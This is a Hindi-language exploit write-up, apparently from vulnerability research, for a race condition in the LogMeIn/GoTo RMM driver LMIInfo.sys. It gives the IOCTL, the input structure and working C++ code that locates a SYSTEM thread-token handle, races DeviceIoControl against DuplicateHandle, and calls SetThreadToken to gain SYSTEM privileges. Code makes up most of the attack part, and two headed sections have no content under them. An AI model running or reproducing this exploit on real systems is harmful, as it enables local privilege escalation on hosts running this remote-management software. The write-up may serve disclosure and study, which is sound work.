
LogMeIn/GoTo Windows कर्नेल ड्राइवर रेस कंडीशन के लिए एक्सप्लॉइट जो SYSTEM हैंडल्स की नकल करता है, जिससे थ्रेड-टोकन इम्पर्सनेशन और लोकल प्रिविलेज एस्केलेशन संभव हो पाता है।
LogMeIn / GoTo RMM द्वारा प्रदान किए गए LMIInfo.sys ड्राइवर में एक रेस कंडीशन मौजूद है, जिसमें SYSTEM प्रक्रिया से एक मनमाना हैंडल डुप्लिकेट किया जा सकता है। मुख्य समस्या डिवाइस ऑब्जेक्ट पर उचित एक्सेस नियंत्रण की कमी के साथ-साथ SYSTEM प्रक्रिया से उपयोगकर्ता-निर्दिष्ट हैंडल को डुप्लिकेट करने का स्पष्ट रूप से खराब निर्णय है।
IOCTL: 0x9211001C
इनपुट बफर:
// LMI-Common.cpp
typedef struct LMI_INFO {
DWORD64 qwPid;
DWORD64 reserved0;
DWORD64 handleValue;
DWORD64 reserved1;
} LMI_INFO, * PLMI_INFO;
डिस्पैच:

असुरक्षित फ़ंक्शन:

हैंडल जानकारी एकत्र करने और स्ट्रिंग प्रोसेसिंग करने के दौरान, ZwDuplicateObject/ZwClose के कॉल के बीच, कॉल करने वाली प्रक्रिया डुप्लिकेट किए गए हैंडल को फिर से डुप्लिकेट कर सकती है। यदि इसे सही ढंग से किया जाए, तो द्वितीयक डुप्लिकेट हैंडल प्राथमिक डुप्लिकेट हैंडल के बंद होने के बाद भी बना रहेगा।
बग को विश्वसनीय रूप से ट्रिगर करने के लिए, प्रक्रिया द्वारा उपयोग किए जाने वाले सभी हैंडल्स को रेस कंडीशन ट्रिगर करने से पहले बनाया जाना चाहिए। लक्ष्य हैंडल को निम्नलिखित फ़ंक्शन का उपयोग करके सिस्टम प्रक्रिया से क्वेरी किया जाता है (उदाहरण के रूप में थ्रेड टोकन का उपयोग किया गया है):
// LMI-Common.cpp
HANDLE FindSystemPidFirstToken()
{
HANDLE hHeap = GetProcessHeap();
LPVOID lpBuf = HeapAlloc(hHeap, HEAP_ZERO_MEMORY, 0x20000);
if (!lpBuf) {
printf("HeapAlloc - %d\n", GetLastError());
return INVALID_HANDLE_VALUE;
}
ULONG ulBytesReturned = 0;
NTSTATUS status = NtQuerySystemInformation((SYSTEM_INFORMATION_CLASS)SystemHandleInformation, lpBuf, 0x20000, &ulBytesReturned);
while (status == 0xC0000004) {
HeapFree(hHeap, 0, lpBuf);
lpBuf = HeapAlloc(hHeap, HEAP_ZERO_MEMORY, ulBytesReturned + 0x1000);
if (!lpBuf) {
printf("HeapAlloc - %d\n", GetLastError());
return INVALID_HANDLE_VALUE;
}
status = NtQuerySystemInformation((SYSTEM_INFORMATION_CLASS)SystemHandleInformation, lpBuf, ulBytesReturned + 0x1000, &ulBytesReturned);
}
if (status) {
printf("Query for handles failed - %lx\n", status);
return INVALID_HANDLE_VALUE;
}
PSYSTEM_HANDLE_INFORMATION pSysHandleInfo = (PSYSTEM_HANDLE_INFORMATION)lpBuf;
for (unsigned int i = 0; i < pSysHandleInfo->NumberOfHandles; i++) {
SYSTEM_HANDLE_TABLE_ENTRY_INFO shtei = pSysHandleInfo->Handles[i];
if (shtei.UniqueProcessId != 4) {
continue;
}
printf("HANDLE:\n\t Handle Value 0x%x - Type 0x%x - Access 0x%x\n", shtei.HandleValue, shtei.ObjectTypeIndex, shtei.GrantedAccess);
if (shtei.ObjectTypeIndex == OBJECT_TYPE_THREAD_TOKEN && shtei.GrantedAccess == THREAD_TOKEN_IMPERSONATE_PRIVILEGES) {
printf("Found handle to token:\n\t Handle Value 0x%x - Type 0x%x - Access 0x%x\n", shtei.HandleValue, shtei.ObjectTypeIndex, shtei.GrantedAccess);
return (HANDLE)shtei.HandleValue;
}
}
return INVALID_HANDLE_VALUE;
}
जैसे-जैसे HANDLE मान 4 की वृद्धि में बढ़ते हैं, हम HANDLE की गिनती प्राप्त करके और 4 जोड़कर प्राथमिक डुप्लिकेट हैंडल का मान निकालते हैं। इस प्रकार हम डिवाइस खोलते हैं, और अगले हैंडल मान की गणना करने से पहले "रेसिंग" थ्रेड को सस्पेंडेड अवस्था में बनाते हैं। यह संभवतः अधिक स्थिर और "परिष्कृत" तरीके से किया जा सकता है, जिसे पाठक के लिए एक अभ्यास के रूप में छोड़ा गया है, जो संभवतः अधिक कुशल है lmao।
// LMI-Common.cpp
HANDLE FindNextCreatedHandle() {
HANDLE highestHandle = 0;
UINT32 u32NumHandles = 0;
ULONG ulSizeReturned = 0;
NTSTATUS status = 0;
status = NtQueryInformationProcess((HANDLE)-1, (PROCESSINFOCLASS)ProcessHandleCount, &u32NumHandles, sizeof(UINT32), &ulSizeReturned);
if (!NT_SUCCESS(status)) {
return (HANDLE)-1;
}
return (HANDLE)((UINT64)++u32NumHandles * 4);
}
पूरा होने के बाद, रेसिंग थ्रेड को फिर से शुरू किया जाता है और बार-बार IOCTL जारी किए जाते हैं:
// LMI-Common.cpp
NTSTATUS DupeThread(LPVOID lpParam) {
puts("Entered DupeThread");
if (!lpParam || lpParam == INVALID_HANDLE_VALUE) {
printf("Invalid device handle passed to thread : %lx\n", GetLastError());
return -1;
}
PDUPE_THREAD_INFO Dti = (PDUPE_THREAD_INFO)lpParam;
DWORD dwBytesReturned = 0;
LMI_INFO lmii = { 0 };
lmii.qwPid = 4;
lmii.handleValue = (UINT64)FindSystemPidFirstToken(); // yes, I know
if ((HANDLE)lmii.handleValue == INVALID_HANDLE_VALUE) {
puts("Couldn't find a token handle in the system process??");
}
BOOL bRes = FALSE;
LPVOID lpOutBuf = HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, 0x1000);
if (!lpOutBuf) {
printf("HeapAlloc : %lx\n", GetLastError());
return -1;
}
while (Dti->Run) {
// call DeviceIoControl to start the race
bRes = DeviceIoControl(
Dti->hDevice,
IOCTL_DUPE_LEL,
&lmii,
sizeof(LMI_INFO),
lpOutBuf,
0x1000,
&dwBytesReturned,
NULL
);
}
}
रेसिंग थ्रेड की डिज़ाइन सोच निम्नलिखित कारणों से है:
मुख्य थ्रेड डुप्लिकेशन सफल होने तक प्राथमिक डुप्लिकेट हैंडल को डुप्लिकेट करने के लिए बार-बार DuplicateHandle को कॉल करता है, और रेसिंग थ्रेड से बाहर निकलने के लिए ग्लोबल बूलियन को false पर सेट किया जाता है (हाँ, हाँ, मुझे पता है)।
// Source.cpp
HANDLE hTarget = FindNextCreatedHandle();
hTarget = (HANDLE)((UINT64)hTarget + 4);
puts("Resuming dupe thread");
dwSuspendCount = ResumeThread(hDupeThread);
if (dwSuspendCount == -1) {
printf("Error resuming dupe thread - %lx\n", GetLastError());
return -1;
}
while (!bRes) {
bRes = DuplicateHandle(g_hCurrentProc, hTarget, g_hCurrentProc, &hToken, NULL, FALSE, DUPLICATE_SAME_ACCESS);
}
dti.Run = FALSE;
if (bRes) {
puts("ebin");
printf("%llx - target\n", hTarget);
printf("%llx - dup\n", hToken);
bRes = SetThreadToken(NULL, hToken);
if (!bRes) {
printf("Failed to SetThreadToken - %x\nExploitation failed!", GetLastError());
}
else {
puts("Set the thread token!");
}
}
else {
printf("Failed to dupe token: %lx\n", GetLastError());
return -1;
}
getchar();
return 0;